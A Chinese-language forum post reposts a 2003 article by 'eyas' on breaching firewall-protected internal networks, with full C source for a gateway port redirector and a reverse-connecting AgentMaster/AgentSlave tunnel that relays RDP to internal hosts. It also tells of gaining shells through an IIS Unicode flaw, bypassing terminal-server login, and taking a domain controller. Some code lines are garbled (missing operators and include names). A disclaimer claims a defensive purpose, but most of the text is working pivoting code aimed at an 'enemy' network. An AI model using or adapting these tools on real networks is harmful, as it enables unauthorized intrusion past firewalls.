全國最多中醫師線上諮詢網站-台灣中醫網
發文 回覆 瀏覽次數:2046
推到 Plurk!
推到 Facebook!

突破TCP-IP過濾-防火牆進入內網

 
conundrum
尊榮會員


發表:893
回覆:1272
積分:643
註冊:2004-01-06

發送簡訊給我
#1 引用回覆 回覆 發表時間:2004-02-09 18:12:32 IP:61.221.xxx.xxx 未訂閱
http://www.neweasier.com/article/2003-01-16/1042703711.html    突破TCP-IP過濾-防火牆進入內網(一)    --------------------------------------------------------------------------------    2003年01月16日 15:55:11 LinuxAID     (注:本站轉載這篇文章旨在希望通過這篇文章來如何預防網路的安全,並不鼓勵讀者去做相應的破壞活動,特此聲明)      作者:eyas      現在很多企業或者公司基本上網方式基本上都是申請一條連接到Internet的線路,寬帶、DDN、ADSL、ISDN等等,然後用一台伺服器做閘道,伺服器兩塊網卡,一塊是連接到Internet,另一塊是連接到內網的HUB或者交換機,然後內網的其他機器就可以通過閘道連接到Internet。      也許有些人會這樣想,我在內網之中,我們之間沒有直接的連接,你沒有辦法攻擊我。事實並非如此,在內網的機器同樣可能遭受到來自Internet的攻擊,當然前提是攻擊者已經取得閘道伺服器的某些許可權,呵呵,這是不是廢話?其實,Internet上很多做閘道的伺服器並未經過嚴格的安全配置,要獲取許可權也不是想象中的那l難。      Ok!廢話就不說了,切入正題。我們的目標是用我們的TermClient[M$終端服務用戶端]連接到敵人內網的TermServer機器。M$的終端服務是一個很好的遠端管理工具,不是嗎?呵呵。沒有做特別說明的話,文中提到的伺服器OS都dwindows 2000。伺服器dLinux或其他的話,原理也差不多,把程式稍微修改就行了。     第一部分:利用TCP socket資料轉發進入沒有防火牆保護的內網     假設敵人網路拓撲如下圖所示,沒有安裝防火牆或在閘道伺服器上做TCP/IP限制。   sever--Ethernet--攻擊者  |  hup-192.168.1.x  |  192.168.1.3     我們的目標是連接上敵人內網的Terminal Server[192.168.1.3],因d沒有辦法直接和他建立連接,那l只有先從它的閘道伺服器上下手了。假如敵人閘道伺服器是M$的windows 2k,IIS有Unicode漏洞[現在要找些有漏洞的機器太容易了,但我只是scripts kid,只會利用現成的漏洞做些簡單的攻擊:(555),那l我們就得到一個閘道的shell了,我們可以在那上面運行我們的程式,雖然許可權很低,但也可以做很多事情了。Ok!讓我們來寫一個做TCP socket資料轉發的小程式,讓敵人的閘道伺服器忠實的d我[202.1.1.1]和敵人內網的TermServer[192.168.1.3]之間轉發資料。題外話:實際入侵過程是先取得閘道伺服器的許可權,然後用他做跳板,進一步摸清它的內部網路拓撲結構,再做進一步的入侵,現在敵人的網路拓撲是我們給他設計的,哈哈。      攻擊流程如下:      <1>在閘道伺服器202.2.2.2運行我們的程式AgentGateWay,他監聽TCP 3389埠[改成別的,那我們就要相應的修改TermClient了]等待我們去連接。 <2>我們202.1.1.1用TermClient連接到202.2.2.2:3389。 <3>202.2.2.2.接受202.1.1.1的連接,然後再建立一個TCP socket連接到自己內網的TermServer[192.168.1.3] <4>這樣我們和敵人內網的TermServer之間的資料通道就建好了,接下來閘道就忠實的d我們轉發資料啦。當我們連接到202.2.2.2:3389的時候,其實出來的介面是敵人內網的192.168.1.3,感覺怎l樣?:) 程式碼如下: /********************************************************************** Module Name:AgentGateWay.c Date:2001/4/15 CopyRight(c) eyas 說明:埠重定向工具,在閘道上運行,把埠重定向到內網的IP、PORT, 就可以進入內網了 sock[0]==>sClient sock[1]==>sTarget **********************************************************************/ #include #include #include "TCPDataRedird.c" #define TargetIP TEXT("192.168.1.3") #define TargetPort (int)3389 #define ListenPort (int)3389//監聽埠 #pragma comment(lib,"ws2_32.lib") int main() { WSADATA wsd; SOCKET sListen=INVALID_SOCKET,//本機監聽的socket sock[2]; struct sockaddr_in Local,Client,Target; int iAddrSize; HANDLE hThreadC2T=NULL,//C2T=ClientToTarget hThreadT2C=NULL;//T2C=TargetToClient DWORD dwThreadID; __try { if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) { printf(" WSAStartup() failed:%d",GetLastError()); __leave; } sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(sListen==INVALID_SOCKET) { printf(" socket() failed:%d",GetLastError()); __leave; } Local.sin_addr.s_addr=htonl(INADDR_ANY); Local.sin_family=AF_INET; Local.sin_port=htons(ListenPort); Target.sin_family=AF_INET; Target.sin_addr.s_addr=inet_addr(TargetIP); Target.sin_port=htons(TargetPort); if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR) { printf(" bind() failed:%d",GetLastError()); __leave; } if(listen(sListen,1)==SOCKET_ERROR) { printf(" listen() failed:%d",GetLastError()); __leave; } //scoket迴圈 while(1) { printf(" *************Waiting Client Connect to************** "); iAddrSize=sizeof(Client); //get socket sClient sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize); if(sock[0]==INVALID_SOCKET) { printf(" accept() failed:%d",GetLastError()); break; } printf(" Accept client==>%s:%d",inet_ntoa(Client.sin_addr), ntohs(Client.sin_port)); //create socket sTarget sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(sock[1]==INVALID_SOCKET) { printf(" socket() failed:%d",GetLastError()); __leave; } //connect to target port if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR) { printf(" connect() failed:%d",GetLastError()); __leave; } printf(" connect to target 3389 success!"); //創建兩個線程進行資料轉發 hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); //等待兩個線程結束 WaitForSingleObject(hThreadC2T,INFINITE); WaitForSingleObject(hThreadT2C,INFINITE); CloseHandle(hThreadC2T); CloseHandle(hThreadT2C); closesocket(sock[1]); closesocket(sock[0]); printf(" *****************Connection Close******************* "); }//end of sock外迴圈 }//end of try __finally { if(sListen!=INVALID_SOCKET) closesocket(sListen); if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); WSACleanup(); } return 0; } /************************************************************************* Module:TCPDataRedird.c Date:2001/4/16 CopyRight(c) eyas HomePage:www.patching.net Thanks to shotgun 說明:TCP socket資料轉發,sock[0]==>sClient sock[1]==>sTarget *************************************************************************/ #define BuffSize 20*1024 //緩衝區大小20k //此函數負責從Client讀取資料,然後轉發給Target DWORD WINAPI TCPDataC2T(SOCKET* sock) { int iRet, ret=-1,//select 返回值 iLeft, idx, iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize char szSendToTargetBuff[BuffSize]={0}, szRecvFromClientBuff[BuffSize]={0}; fd_set fdread,fdwrite; printf(" *****************Connection Active******************* "); while(1) { FD_ZERO(&fdread); FD_ZERO(&fdwrite); FD_SET(sock[0],&fdread); FD_SET(sock[1],&fdwrite); if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR) { printf(" select() failed:%d",GetLastError()); break; } //printf(" select() return value ret=%d",ret); if(ret>0) { //sClinet可讀,client有資料要發送過來 if(FD_ISSET(sock[0],&fdread)) { //接收sock[0]發送來的資料 iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0); if(iRet==SOCKET_ERROR) { printf(" recv() from sock[0] failed:%d",GetLastError()); break; } else if(iRet==0) break; printf(" recv %d bytes from sClinet.",iRet); //把從client接收到的資料存添加到發往target的緩衝區 memcpy(szSendToTargetBuff iSTTBCS,szRecvFromClientBuff,iRet); //刷新發往target的資料緩衝區當前buff大小 iSTTBCS =iRet; //清空接收client資料的緩衝區 memset(szRecvFromClientBuff,0,BuffSize); } //sTarget可寫,把從client接收到的資料發送到target if(FD_ISSET(sock[1],&fdwrite)) { //轉發資料到target的3389埠 iLeft=iSTTBCS; idx=0; while(iLeft>0) { iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0); if(iRet==SOCKET_ERROR) { printf(" send() to target failed:%d",GetLastError()); break; } printf(" send %d bytes to target",iRet); iLeft-=iRet; idx =iRet; } //清空緩衝區 memset(szSendToTargetBuff,0,BuffSize); //重置發往target的資料緩衝區當前buff大小 iSTTBCS=0; } }//end of select ret Sleep(1); }//end of data send & recv迴圈 return 0; } //此函數負責從target讀取資料,然後發送給client DWORD WINAPI TCPDataT2C(SOCKET* sock) { int iRet, ret=-1,//select 返回值 iLeft, idx, iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize char szRecvFromTargetBuff[BuffSize]={0}, szSendToClientBuff[BuffSize]={0}; fd_set fdread,fdwrite; while(1) { FD_ZERO(&fdread); FD_ZERO(&fdwrite); FD_SET(sock[0],&fdwrite); FD_SET(sock[1],&fdread); if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR) { printf(" select() failed:%d",GetLastError()); break; } if(ret>0) { //sTarget可讀,從target接收資料 if(FD_ISSET(sock[1],&fdread)) { //接收target返回資料 iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0); if(iRet==SOCKET_ERROR) { printf(" recv() from target failed:%d",GetLastError()); break; } else if(iRet==0) break; printf(" recv %d bytes from target",iRet); //把從target接收到的資料添加到發送到client的緩衝區 memcpy(szSendToClientBuff iSTCBCS,szRecvFromTargetBuff,iRet); //清空接收target返回資料緩衝區 memset(szRecvFromTargetBuff,0,BuffSize); //刷新發送到client的資料緩衝區當前大小 iSTCBCS =iRet; } //client可寫,發送target返回資料到client if(FD_ISSET(sock[0],&fdwrite)) { //發送target返回資料到client iLeft=iSTCBCS; idx=0; while(iLeft>0) { iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0); if(iRet==SOCKET_ERROR) { printf(" send() to Client failed:%d",GetLastError()); break; } printf(" send %d bytes to Client",iRet); iLeft-=iRet; idx =iRet; } //清空緩衝區 memset(szSendToClientBuff,0,BuffSize); iSTCBCS=0; } }//end of select ret Sleep(1); }//end of while return 0; } 突破TCP-IP過濾-防火牆進入內網(二) -------------------------------------------------------------------------------- 2003年01月16日 15:55:48 LinuxAID (注:本站轉載這篇文章旨在希望通過這篇文章來如何預防來自網路的危險,並不鼓勵讀者去做相應的破壞活動,特此聲明) 作者:eyas 第二部分:利用TCP socket轉發和反彈TCP埠進入有防火牆保護的內網 事實上很多內網沒有第一部分所說的那l簡單啦,我們來看一個有防火牆保護的內網,前提是這個防火牆對反彈TCP埠不做限制,限制了的話,又另當別論了。假設網路拓撲如下: sever-firewall-Ethernet-攻擊者 上面的網路拓撲是我在一次對朋友公司網站授權入侵過程中遇到的。 <1>我自己處於公司內網192.168.0.2,通過公司閘道202.1.1.1到Internet,但我是閘道的admin:)。 <2>敵人[其實是friend啦]的閘道OS是2k adv server,在外網網卡上做了TCP/IP限制,只開放了25,53,80,110,3306這幾個TCP PORT,通過一個漏洞,我得到了一個shell,可以通過IE來執行系統命令,雖然許可權很低。閘道有終端服務,登陸驗證漏洞補丁未安裝,但輸入法幫助文件已經被刪除了,但是我們可以通過shell把輸入法幫助文件upload上去,因d他的系統許可權沒有設置好,我們可以寫,呵呵。這樣的話,我們只要能夠連接到他的終端服務上去,我們就能繞過登陸驗證,得到admin許可權了。如何連接?有辦法,用TCP socket轉發。和第一部分說的一樣嗎?有些不同。因d他做了TCP/IP限制,我們不能連接他,只能讓他來連接我們了,TCP反彈埠,呵呵。 攻擊流程如下: <1>在我的伺服器202.1.1.1運行AgentMaster,監聽TCP PORT 12345,等待202.2.2.2來連接,監聽TCP PORT 3389,等待我192.168.0.2連接。 <2>在敵人閘道機器202.2.2.2運行AgentSlave,連接到202.1.1.1 TCP PORT 12345[注意:是反彈埠,TCP/IP過濾也拿他沒辦法] <3>我自己192.168.0.2用TermClient連接到自己的伺服器202.1.1.1:3389 <4>敵人閘道上的AgentSlave連接到自己本身在內網的IP==>192.168.1.1:3389 <5>資料通道就建立好啦。兩個代理忠實的d我們轉發資料,呵呵。當我們連接自己伺服器的3389,其實出來的是敵人內網的某台機器,呵呵。 後來發現敵人的主網域控制器是192.168.1.4,通過前面與他閘道建立的連接,利用一個漏洞輕易的取得主域的admin許可權,呵呵。他可能認d主域在內網,閘道又做了TCP/IP過濾,攻擊者沒有辦法進入。我只要把AgentSlave設置d連接192.168.1.4:3389,以後就可以直接連接他的主網域控制器啦,不過在閘道登陸也一樣。 程式碼如下[程式中所用到的TCPDataRedird.c已經貼在第一部分,那個文件做資料轉發,通用的]: /****************************************************************** Module Name:AgentMaster.c Date:2001/4/16 CopyRight(c) eyas 說明:scoket代理主控端,負責監聽兩個TCP socket, 等待攻擊者和AgentSlave來連接,兩個 scoket都連接成功後,開始轉發資料 sock[0]是client==>sock[0] sock[1]是target==>sock[1] ******************************************************************** #include #include #include "TCPDataRedird.c" #pragma comment(lib,"ws2_32.lib") #define TargetPort 3389//Q裝的target的監聽埠 #define LocalPort 12345//等待AgentSlave來connect的埠 int main() { WSADATA wsd; SOCKET s3389=INVALID_SOCKET,//本機監聽的socket,等待攻擊者連接 s1981=INVALID_SOCKET,//監聽的socket,等待AgentSlave來連接 sock[2]={INVALID_SOCKET,INVALID_SOCKET}; struct sockaddr_in Local3389,Local1981,Attack,Slave; int iAddrSize; HANDLE hThreadC2T=NULL,//C2T=ClientToTarget hThreadT2C=NULL;//T2C=TargetToClient DWORD dwThreadID; __try { //load winsock library if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) { printf(" WSAStartup() failed:%d",GetLastError()); __leave; } //create socket s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(s3389==INVALID_SOCKET) { printf(" socket() failed:%d",GetLastError()); __leave; } //create socket s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(s1981==INVALID_SOCKET) { printf(" socket() failed:%d",GetLastError()); __leave; } //fill the struct Local3389.sin_addr.s_addr=htonl(INADDR_ANY); Local3389.sin_family=AF_INET; Local3389.sin_port=htons(TargetPort); Local1981.sin_addr.s_addr=htonl(INADDR_ANY); Local1981.sin_family=AF_INET; Local1981.sin_port=htons(LocalPort); //bind s3389 for attacker if(bind(s3389,(struct sockaddr *)&Local3389,sizeof(Local3389))==SOCKET_ERROR) { printf(" bind() failed:%d",GetLastError()); __leave; } //listen for attacker to connect if(listen(s3389,1)==SOCKET_ERROR) { printf(" listen() failed:%d",GetLastError()); __leave; } //bind s1981 for AgentSlave if(bind(s1981,(struct sockaddr *)&Local1981,sizeof(Local1981))==SOCKET_ERROR) { printf(" bind() failed:%d",GetLastError()); __leave; } //listen for AgentSlave to connect if(listen(s1981,1)==SOCKET_ERROR) { printf(" listen() failed:%d",GetLastError()); __leave; } //socket迴圈 while(1) { //wait for AgentSlave to connect iAddrSize=sizeof(Slave); sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize); if(sock[1]==INVALID_SOCKET) { printf(" accept() failed:%d",GetLastError()); break; } printf(" Accept AgentSlave==>%s:%d",inet_ntoa(Slave.sin_addr), ntohs(Slave.sin_port)); //wait for Attacker to connect iAddrSize=sizeof(Attack); sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize); if(sock[0]==INVALID_SOCKET) { printf(" accept() failed:%d",GetLastError()); break; } printf(" Accept Attacker==>%s:%d",inet_ntoa(Attack.sin_addr), ntohs(Attack.sin_port)); //創建兩個線程進行資料轉發 hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); //等待兩個線程結束 WaitForSingleObject(hThreadC2T,INFINITE); CloseHandle(hThreadC2T); CloseHandle(hThreadT2C); closesocket(sock[0]); closesocket(sock[1]); }//end of socket while }//end of try __finally { //clean all if(s3389!=INVALID_SOCKET) closesocket(s3389); if(s1981!=INVALID_SOCKET) closesocket(s1981); if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); WSACleanup(); } return 0; } /********************************************************************** Module:AgentSlave.c Date:2001/4/17 Copyright(c)eyas HomePage:www.patching.net 說明:這個程式負責連接最終目標,連接主控端,然後轉發資料 這裏連接到AgenrMaster的socket相當與sClient==>sock[0], 連接到最終目標的socoket是sTarget==>sock[1] *********************************************************************** #include #include #include "TCPDataRedird.c" #pragma comment(lib,"ws2_32.lib") #define TargetIP "192.168.1.3" #define TargetPort (int)3389 #define AgentMasterIP "202.1.1.1" #define AgentMasterPort (int)12345 int main() { WSADATA wsd; SOCKET sock[2]={INVALID_SOCKET,INVALID_SOCKET}; struct sockaddr_in Master,Target; HANDLE hThreadC2T=NULL,//C2T=ClientToTarget hThreadT2C=NULL;//T2C=TargetToClient DWORD dwThreadID; __try { //load winsock library if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) { printf(" WSAStartup() failed:%d",GetLastError()); __leave; } //迴圈 while(1) { //create client socket sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(sock[0]==INVALID_SOCKET) { printf(" socket() failed:%d",GetLastError()); __leave; } //create target socket sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if(sock[1]==INVALID_SOCKET) { printf(" socket() failed:%d",GetLastError()); __leave; } //fill struct Target.sin_family=AF_INET; Target.sin_addr.s_addr=inet_addr(TargetIP); Target.sin_port=htons(TargetPort); Master.sin_family=AF_INET; Master.sin_addr.s_addr=inet_addr(AgentMasterIP); Master.sin_port=htons(AgentMasterPort); //connect to AgentMaster if(connect(sock[0],(struct sockaddr *)&Master,sizeof(Master))==SOCKET_ERROR) { //連接失敗後,等待一會兒再連 printf(" connect() to master failed:%d",GetLastError()); closesocket(sock[0]); closesocket(sock[1]); Sleep(5000); continue; } printf(" connect to %s %d success!",AgentMasterIP,AgentMasterPort); //connect to target if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR) { printf(" connect() to target failed:%d",GetLastError()); __leave; } printf(" connect to %s %d success!",TargetIP,TargetPort); //創建兩個線程進行資料轉發 hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); //等待兩個線程結束 WaitForSingleObject(hThreadC2T,INFINITE); CloseHandle(hThreadC2T); CloseHandle(hThreadT2C); closesocket(sock[0]); closesocket(sock[1]); }//end of while }//end of try __finally { if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); WSACleanup(); } return 0; } 轉自:www.patching.net 發表人 - conundrum 於 2004/02/09 18:18:00
系統時間:2024-05-15 20:50:19
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!